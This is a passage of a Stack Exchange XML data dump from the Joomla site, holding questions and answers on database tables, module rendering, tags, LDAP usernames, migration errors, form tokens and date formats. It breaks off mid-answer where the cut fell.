  <row Id="3615" PostTypeId="2" ParentId="2543" CreationDate="2014-07-15T17:21:07.553" Score="3" Body="&lt;p&gt;Joomla 1.5's users table structure was this:&#xA;&lt;a href=&quot;http://www.torkiljohnsen.com/wp-content/uploads/2006/04/joomla_15_database_schema.png&quot; rel=&quot;nofollow&quot;&gt;http://www.torkiljohnsen.com/wp-content/uploads/2006/04/joomla_15_database_schema.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And 3 is this&#xA;&lt;a href=&quot;http://docs.joomla.org/Tables/users&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Tables/users&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like somewhere &quot;rawpassword&quot;, &quot;blog&quot; and &quot;newsletter&quot; have been added to your database.  My guess would be that you've installed a badly-coded extension that has changed the core database, since I can find no reference to these ever having been part of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To narrow the problem down, I'd perhaps download your site and do a text search in the files for &quot;rawpassword&quot; to see if you can find the offending extension - see if there is a .sql file that adds it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(NB For security, I would recommend you remove the username and password value fields in the error message you have posted)&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2014-07-15T17:30:16.673" LastActivityDate="2014-07-15T17:30:16.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3616" PostTypeId="2" ParentId="3610" CreationDate="2014-07-16T00:17:46.623" Score="0" Body="&lt;p&gt;If you're pasting into the styled view, click on the &quot;Source Code Editor&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IFyQJ.png&quot; alt=&quot;JCE Source Code Editor Button&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will get you a view like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lcFOt.png&quot; alt=&quot;JCE Source Code view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paste the HTML into the location you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If find the fullscreen button useful when looking at the source code view as it's not as cramped…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YJTdE.png&quot; alt=&quot;JCE Full Screen mode button&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-07-16T00:17:46.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3617" PostTypeId="2" ParentId="3606" CreationDate="2014-07-16T07:58:03.887" Score="1" Body="&lt;p&gt;If I understood you right, this snippet should help (note, I haven't run the code)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ($this-&amp;gt;countModules('left')) {&#xA;   $modules = JModuleHelper::getModules('left');&#xA;   $modulesContent  = array();&#xA;   foreach ($modules as $module) {&#xA;      $content = JModuleHelper::renderModule($module, array('style' =&amp;gt; 'well'));&#xA;      if(!empty($content)) {&#xA;         $modulesContent[] = $content;&#xA;      }&#xA;   }&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;?php if(!empty($modulesContent)) : ?&amp;gt;&#xA;   &amp;lt;div id=&quot;sidebarleft&quot; class=&quot;span3&quot;&amp;gt;&#xA;      &amp;lt;?php foreach ($modulesContent as $content) : ?&amp;gt;&#xA;        &amp;lt;?php echo $content; ?&amp;gt;&#xA;      &amp;lt;?php endforeach; ?&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="50" LastEditorUserId="22" LastEditDate="2014-08-19T21:03:45.820" LastActivityDate="2014-08-19T21:03:45.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3618" PostTypeId="1" AcceptedAnswerId="3646" CreationDate="2014-07-16T08:26:18.710" Score="7" ViewCount="5046" Body="&lt;p&gt;I am trying to make a module to bring back all articles in a category &quot;holidays&quot; that have a tag of &quot;cuba&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the examples I can find are tag clouds or getting tags for the current article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any code or pointers to understanding the Tag tables so I could write the SQL. The end result is a travel site showing other holidays with tag x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="168" LastEditDate="2014-07-31T07:58:19.417" LastActivityDate="2014-08-29T09:52:47.830" Title="Module to show all articles with Tag and in a Category" Tags="|joomla-3.x|module|tags|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3619" PostTypeId="2" ParentId="3618" CreationDate="2014-07-16T08:48:45.550" Score="5" Body="&lt;p&gt;You can easily get all articles tagged with a tag, but not from a specific category, so you'd have to check for that in a step 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In JHelperTags (defined in libraries\cms\helper) there is a method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getTagItemsQuery( $tagId, $typesr = null, $includeChildren = false, $orderByOption = 'c.core_title', $orderDir = 'ASC', $anyOrAll = true, $languageFilter = 'all', $stateFilter = '0,1' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming you know the id of your tag, you'd call the function with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tagsHelper = new JHelperTags;&#xA;$articles = $tagsHelper-&amp;gt;getTagItemsQuery( $tagId, 'com_content.article', true, 'c.core_publish_up', 'DESC', true, 'all', '1' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just filter articles you need.&lt;/p&gt;&#xA;" OwnerUserId="50" LastEditorUserId="126" LastEditDate="2014-08-29T09:52:47.830" LastActivityDate="2014-08-29T09:52:47.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3620" PostTypeId="2" ParentId="2247" CreationDate="2014-07-16T13:12:08.807" Score="0" Body="&lt;p&gt;I would use only Joomla, but if you still want to run WP, you could integrate it inside your Joomla website, using one of the extensions that can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/blog-integration&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/authoring-a-content/blog-integration&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking to integrate Joomla into WP, then you should look at WP plugins directory and not at Joomla's.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-11T10:34:57.820" LastActivityDate="2015-08-11T10:34:57.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3621" PostTypeId="1" AcceptedAnswerId="3633" CreationDate="2014-07-16T14:24:19.533" Score="3" ViewCount="2695" Body="&lt;p&gt;Weird thing happend to one of my websites:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In admin panel (Joomla! 3.3.1 Stable - default backend template) after I &lt;strong&gt;click an item from the top dropdown menu&lt;/strong&gt; (Articles for example) and then click anywhere on screen, &lt;strong&gt;the menu item disappears&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens in the code is that there is dynamically added inline css saying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;display: none&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see in this video:&#xA;&lt;a href=&quot;http://screencast.com/t/EmWxcDiCg0x&quot; rel=&quot;nofollow&quot;&gt;http://screencast.com/t/EmWxcDiCg0x&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody help me? What can be causing that strange behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I hover over the view counters in the &quot;popular articles&quot; section in the dashboard, they disappear on mouse out. Strange vanishings can also be seen in few other places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it may have something to do with bootstrap js, but I don't know how to check it.&lt;/p&gt;&#xA;" OwnerUserId="1655" LastEditorUserId="1655" LastEditDate="2014-07-16T14:31:10.690" LastActivityDate="2015-08-02T15:50:44.227" Title="Admin menu items disappearing" Tags="|administrator|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3622" PostTypeId="1" CreationDate="2014-07-16T15:33:05.700" Score="3" ViewCount="282" Body="&lt;p&gt;I want to create a layout (or override) that i can run a foreach loop on the div's of certain classes. Is there a method in joomla to help me? I have seen a little about php HTML DOM parser but I thought someone might know a simple way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking I have to parse the content into an array first then I can loop the layout.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2014-07-17T14:50:17.393" LastActivityDate="2014-07-17T14:53:06.063" Title="Parse Article Content for Template Layout" Tags="|articles|template-override|twitter-bootstrap-2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3623" PostTypeId="1" CreationDate="2014-07-11T18:56:43.057" Score="2" ViewCount="432" Body="&lt;p&gt;When using LDAP login authentication domain\username is the format that we need to use but Joomla will not allow this. When trying to save these users in Joomla backend the format is rejected due to the backslash that is used between the domain and username for the &amp;quot;Login Name.&amp;quot;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error&lt;/p&gt;&#xA;&lt;p&gt;Save failed with the following error: Please enter a valid username. No space at beginning or end, at least 2 characters and must not contain the following characters: &amp;lt; &amp;gt; \ &amp;quot; ' % ; ( ) &amp;amp;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I would like to find a solution that does not require hacking the core so updates could still be done without having to re-modify the core.&lt;/p&gt;&#xA;" OwnerDisplayName="Dustin" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-08-15T16:34:39.477" Title="Joomla 3 LDAP username won't allow required special character" Tags="|php|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3624" PostTypeId="2" ParentId="3623" CreationDate="2014-07-15T08:56:47.127" Score="2" Body="&lt;p&gt;You don't necessarily need to insert the domain name before the username to get the LDAP to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIR if the configuration is done correct (anonymous bind, DN) this should work. Anyway, it does require a bit of fiddling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also read the &lt;a href=&quot;http://community.joomla.org/component/zine/article/507-developer-ldap-from-scratch-sam-moffatt.html&quot; rel=&quot;nofollow&quot;&gt;Developer: LDAP from scratch&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you maybe post the configuration (obfuscating sensitive data)?&lt;/p&gt;&#xA;" OwnerUserId="159" OwnerDisplayName="Valentin Despa" LastActivityDate="2014-07-15T08:56:47.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3625" PostTypeId="2" ParentId="3610" CreationDate="2014-07-16T15:52:03.550" Score="2" Body="&lt;p&gt;I understand what you're trying to accomplish, but I don't think you'll find a WYSIWYG that will let you copy text, then re-paste it with the html intact and be confident it will not break. All it takes is for your user to paste the text with their cursor in the wrong spot by one character, and the whole thing goes to pot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even using a templater, like NoNumber, the user can destroy it by inserting the template while still inside another div - which, by the way, JCE will force.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a balance of careful construction when putting together repeating blocks of data that a user may need to add to, or remove. If you have consistent data, I recommend using a CCK. K2, or Sobipro are the ones I've used. If you have less consistent data, create each block as an article (with a template so when they make a new one, they can just drop a fresh template in), then load that category with a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We actually don't want our clients playing in their module areas if at all possible, so we will put their content into an article (when custom html), then load that content into a module with NoNumber Articles Anywhere, then load that module into our layout. If we have to create two columns of content, often each column gets it's own article, and those are then loaded via module into the page to ensure they can't break the structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We started doing this because of our move to responsive design and it has made a HUGE difference. We get very few calls from clients who have wrecked their content layouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I know this isn't a true answer to your question - it's more of a 'if you've reached that point that your layout is too complex for your clients to edit, it's time to rethink how you present that content to your users'.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-07-16T15:52:03.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3626" PostTypeId="1" CreationDate="2014-07-15T14:38:30.727" Score="1" ViewCount="421" Body="&lt;p&gt;I migrated from Joomla 1.5 to Joomla 2.5 with jUpgrade. Re-installed several components with 2.5 versions, migrated Joomfish, etc... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I had troubles getting the rewriting to work (SEF and rewriting enabled, htaccess well configured), homepage displaying OK but Joomfish URLs getting to 404 with Rewriting (working OK with only SEF enabled so URL of that kind : /index.php/fr/page instead of /fr/page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I don't know what happened, but I get an error 500 on every front end page. The Backend is still working OK. Tried to switch components off, switch template, turn  SEF and rewriting OFF, I always get the same thing :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Affichage introuvable [name, type, prefix] : frontpage, html, contentView&#xA;&#xA;Si les difficultés persistent, merci de contacter l'administrateur de ce site.&#xA;&#xA;Call stack&#xA;#   Function    Location&#xA;1   JSite-&amp;gt;dispatch()   /Users/guylabbe/Dropbox/bckup/Permanent/_WebProjekte/capacoa2/index.php:42&#xA;2   JComponentHelper::renderComponent() /Users/guylabbe/Dropbox/bckup/Permanent/_WebProjekte/capacoa2/includes/application.php:197&#xA;3   JComponentHelper::executeComponent()    /Users/guylabbe/Dropbox/bckup/Permanent/_WebProjekte/capacoa2/libraries/joomla/application/component/helper.php:351&#xA;4   require_once()  /Users/guylabbe/Dropbox/bckup/Permanent/_WebProjekte/capacoa2/libraries/joomla/application/component/helper.php:383&#xA;5   JController-&amp;gt;execute()  /Users/guylabbe/Dropbox/bckup/Permanent/_WebProjekte/capacoa2/components/com_content/content.php:16&#xA;6   ContentController-&amp;gt;display()    /Users/guylabbe/Dropbox/bckup/Permanent/_WebProjekte/capacoa2/libraries/joomla/application/component/controller.php:761&#xA;7   JController-&amp;gt;display()  /Users/guylabbe/Dropbox/bckup/Permanent/_WebProjekte/capacoa2/components/com_content/controller.php:74&#xA;8   JController-&amp;gt;getView()  /Users/guylabbe/Dropbox/bckup/Permanent/_WebProjekte/capacoa2/libraries/joomla/application/component/controller.php:677&#xA;9   JError::raiseError()    /Users/guylabbe/Dropbox/bckup/Permanent/_WebProjekte/capacoa2/libraries/joomla/application/component/controller.php:903&#xA;10  JError::raise() /Users/guylabbe/Dropbox/bckup/Permanent/_WebProjekte/capacoa2/libraries/joomla/error/error.php:251&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Error #7 triggered by :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $view = $this-&amp;gt;getView($viewName, $viewType, '', array('base_path' =&amp;gt; $this-&amp;gt;basePath, 'layout' =&amp;gt; $viewLayout));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Error #8 triggered by :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = JError::raiseError(500, JText::sprintf('JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND', $name, $type, $prefix));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any idea?&lt;/p&gt;&#xA;" OwnerUserId="1657" OwnerDisplayName="guylabbe.ca" LastActivityDate="2018-06-06T16:06:44.683" Title="Joomla 1.5 to 2.5 : JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND" Tags="|php|apache|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3627" PostTypeId="2" ParentId="3622" CreationDate="2014-07-16T16:23:00.580" Score="2" Body="&lt;p&gt;I'm not sure if a client side solution would work for you, but this sounds like a job for jQuery:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.jquery.com/jquery.each/&quot; rel=&quot;nofollow&quot;&gt;http://api.jquery.com/jquery.each/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;$('.classname').each(index, function(){&#xA;&#xA;    // preform task on each class instance&#xA;&#xA;})&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2014-07-16T16:35:53.873" LastActivityDate="2014-07-16T16:35:53.873" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3628" PostTypeId="1" CreationDate="2014-07-16T17:29:05.623" Score="6" ViewCount="1251" Body="&lt;p&gt;I am building a web app using the &lt;a href=&quot;https://github.com/joomla-framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jooma Framework&lt;/a&gt; and the &lt;a href=&quot;https://github.com/dbhurley/framework-app&quot; rel=&quot;nofollow noreferrer&quot;&gt;Framework App&lt;/a&gt; as a template. I have getFormToken() working as described in &lt;a href=&quot;https://joomla.stackexchange.com/questions/2376/implement-csrf-anti-spoofing-using-the-joomla-framework&quot;&gt;this post&lt;/a&gt; and am now submitting the token with my form but I cannot get checkToken() working. This is the code I have so far to setup the session and get the token:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = Session::getInstance('none', $options);&#xA;$session-&amp;gt;initialise($this-&amp;gt;app-&amp;gt;input);&#xA;$session-&amp;gt;start();&#xA;$this-&amp;gt;app-&amp;gt;setSession($session);&#xA;$token = $this-&amp;gt;app-&amp;gt;getFormToken();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem in that on every page load, $token is a new value causing checkToken() to fail and exit the app. I can see that the session.token is correctly set in my $_SESSION variable when the next page starts loading but when I called getInstance to get the session, the first thing it does is call session_unset() and session_destroy() which clears session.token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I get access to the session without clearing it every time? Is there another way to check the form token that was created on a previous page load?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;" OwnerUserId="218" LastEditorUserId="12352" LastEditDate="2019-11-16T23:00:29.927" LastActivityDate="2019-11-16T23:00:29.927" Title="Using checkToken() to secure form posts" Tags="|php|joomla-api|security|joomla-framework-1.x|security-token|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3629" PostTypeId="1" CreationDate="2014-07-16T20:02:20.063" Score="-2" ViewCount="165" Body="&lt;p&gt;I have written a plugin based on the content component. This works well as far as it goes but I would like to create a new field in the content table and use the field instead. I have got as far as adding the new field and I can see that when I access the onContentPrepare method the $data carries the variable and the value that I have manually entered into the database, but I don't seem to have anyway to a) display the value or b) save the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could some kind soul point me in the right direction please.&lt;/p&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2014-10-14T13:47:32.143" Title="My plugin currently saves data to attribs - can I change this?" Tags="|plugin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3630" PostTypeId="1" AcceptedAnswerId="3631" CreationDate="2014-07-17T02:59:49.087" Score="4" ViewCount="627" Body="&lt;p&gt;When creating Joomla modules, I use something like this in my XML manifest file to add parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&quot;options&quot; label=&quot;My Parameters&quot;&amp;gt;&#xA;                &amp;lt;field&#xA;                    name=&quot;my_field&quot;&#xA;                    type=&quot;text&quot;&#xA;                    label=&quot;Example label&quot;&#xA;                    description=&quot;Example description&quot;&#xA;                    default=&quot;Default value&quot;&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates a new tab called &quot;My Parameters&quot; in the module editor, where my fields are displayed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I add fields directly to the main tab (&quot;Module&quot;-tab)?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="168" LastEditDate="2014-07-31T07:58:07.093" LastActivityDate="2014-07-31T07:58:07.093" Title="Module parameters in main tab" Tags="|module|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3631" PostTypeId="2" ParentId="3630" CreationDate="2014-07-17T04:49:29.613" Score="11" Body="&lt;p&gt;Use &lt;code&gt;&amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;fieldset name=&quot;options&quot; label=&quot;My Parameters&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then name of fieldset must be &lt;strong&gt;basic&lt;/strong&gt; otherwise it will create a new tab.&lt;/p&gt;&#xA;" OwnerUserId="142" LastEditorUserId="142" LastEditDate="2014-07-17T05:00:26.913" LastActivityDate="2014-07-17T05:00:26.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3633" PostTypeId="2" ParentId="3621" CreationDate="2014-07-17T07:27:05.730" Score="3" Body="&lt;p&gt;OK, I've solved my problem, but I still don't know what exactly caused this. Although it doesn't really matter - the important thing is everything works now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What helped was replacing all the files from &lt;strong&gt;media/jui/js&lt;/strong&gt; folder with the files from working Joomla installation. That's all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One or more of them must have gotten corrupted during installation or update of some extension.&lt;/p&gt;&#xA;" OwnerUserId="1655" LastEditorUserId="1655" LastEditDate="2014-07-17T15:47:18.960" LastActivityDate="2014-07-17T15:47:18.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3634" PostTypeId="1" CreationDate="2014-07-17T08:31:58.150" Score="2" ViewCount="8960" Body="&lt;p&gt;I would like to change the date format of the following fields Article Editing page on Publishing tab):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Start Publishing&#xA;Finish Publishing&#xA;Created Date&#xA;Modified Date&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The format is by default &lt;code&gt;Y-m-d H:i:s&lt;/code&gt; and I would like to set it to &lt;code&gt;d-F-Y H:i:s&lt;/code&gt;!&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IqrKm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Print Screen of the field where I want to change the date format&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In language manager I have been on the override tab then&#xA; - Select the filter &lt;code&gt;English (USA) - administrator&lt;/code&gt; &#xA; - Search for the constant &lt;code&gt;DATE_FORMAT_LC2&lt;/code&gt; &#xA; - Override the date format in the &quot;text&quot; field by entering &lt;code&gt;d-F-Y H:i:s&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but without succes. My webiste is under Joomla 3.3.1&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-07-17T12:30:42.683" LastActivityDate="2014-07-17T12:30:42.683" Title="Change Date Format in Article Editing page on Publishing tab" Tags="|joomla-3.x|administrator|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3635" PostTypeId="1" CreationDate="2014-07-17T09:33:17.047" Score="1" ViewCount="366" Body="&lt;p&gt;I might be missing something very basic here but this is really confusing me. I have the following Menu structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|-Honda&#xA;|-Honda|-Civic&#xA;|-Honda|-Hybrid&#xA;|-Honda|-Used&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a Menu Module called 'Honda' with the above Menu and the base item is 'Current'. This module is displayed on the left and when I am on Civic page, it shows something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|- Honda&#xA;    -- **Civic**&#xA;    -- Hybrid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I am on the Honda Used page, it just shows this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;Honda&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was expecting something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- Honda&#xA;    -- Used&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I checked the HTML source and it only seems to have generated the li for the first level (or Honda). I am using Joomla 3.2 and was wondering if I am being daft or is there some issue here. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="64" LastEditDate="2016-11-30T20:04:43.603" LastActivityDate="2016-11-30T20:04:43.603" Title="Menu items not appearing when base item is 'current'" Tags="|menu|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3636" PostTypeId="2" ParentId="3609" CreationDate="2014-07-17T09:40:22.920" Score="1" Body="&lt;p&gt;Hmm.. you could do an admin template override of the com_content component HOWEVER why not use a nice content templater such as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/contenttemplater&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/contenttemplater&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will allow you to create as many templates as you want&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could for example create a template for each category, and then you create a new article, with that template autoloading all default content such as the {modules anywhere code}, languages, meta data will just appear, then you just add the unique content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No notes, just a much more efficient system by one of the best Joomla authors in the business who you are already using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to quote direct from the site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Automatically load template&#xA;You can set templates to load as default. This way, the template will be loaded when you create a new article (or other content item). You can limit templates to certain sections / categories. So you can define different default templates per category.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-17T09:40:22.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3637" PostTypeId="1" AcceptedAnswerId="3645" CreationDate="2014-07-17T09:59:48.340" Score="0" ViewCount="1347" Body="&lt;p&gt;Is there a way to put a relative link (to site root) in the Click URL of a banner item, rather than a fully qualified link? I have a site in development (which will be pushed up to a live server) and want to use a relative to site root link.&lt;/p&gt;&#xA;" OwnerUserId="187" LastEditorUserId="1629" LastEditDate="2014-07-30T20:35:15.203" LastActivityDate="2014-07-30T20:35:15.203" Title="Banner component Click URL - relative link not absolute" Tags="|component|module|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3638" PostTypeId="1" CreationDate="2014-07-17T11:23:05.627" Score="0" ViewCount="199" Body="&lt;p&gt;I was developing a website that allows people to enter records. At the time, Community Builder was the best component for the job. The client was not clear if the records were a one-time thing or not, so I opted for Community Builder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is now the client wants the system to be able to allow a user to enter multiple records without overwriting the previous record, of which Community Builder does not allow as it is more of a profile component and restarting the whole system would be a lot of work and might take about two weeks as I have about ten different forms with multiple fields. Is there a plugin or any other way that I can allow a user to have multiple records or registrations using the same credentials in Community Builder?&lt;/p&gt;&#xA;" OwnerUserId="1659" LastEditorUserId="1629" LastEditDate="2014-07-31T12:07:04.463" LastActivityDate="2014-08-30T21:19:36.660" Title="Can I use Joomla's community builder as a form component?" Tags="|php|component|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3639" PostTypeId="2" ParentId="3634" CreationDate="2014-07-17T11:31:47.883" Score="4" Body="&lt;p&gt;Go to Extension Manager -&gt; Language Manager. Select Overrides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the Language for which you want to set an override and change the date format. Add a new override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the Constant option (Search for the constant DATE_FORMAT_LC2/LC3/LC4). Modify its value and save the changes. Just remove the text and type in the format you'd like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you want the date to display January 01, 2013, you would use : &lt;code&gt;F j, Y&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refresh the page. The date format was changed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, here is a list of common date format lettering which is used in Joomla:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;l&lt;/strong&gt; (lowercase 'L')     A full textual representation of the day of the week&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;d&lt;/strong&gt;     Day of the month, 2 digits with 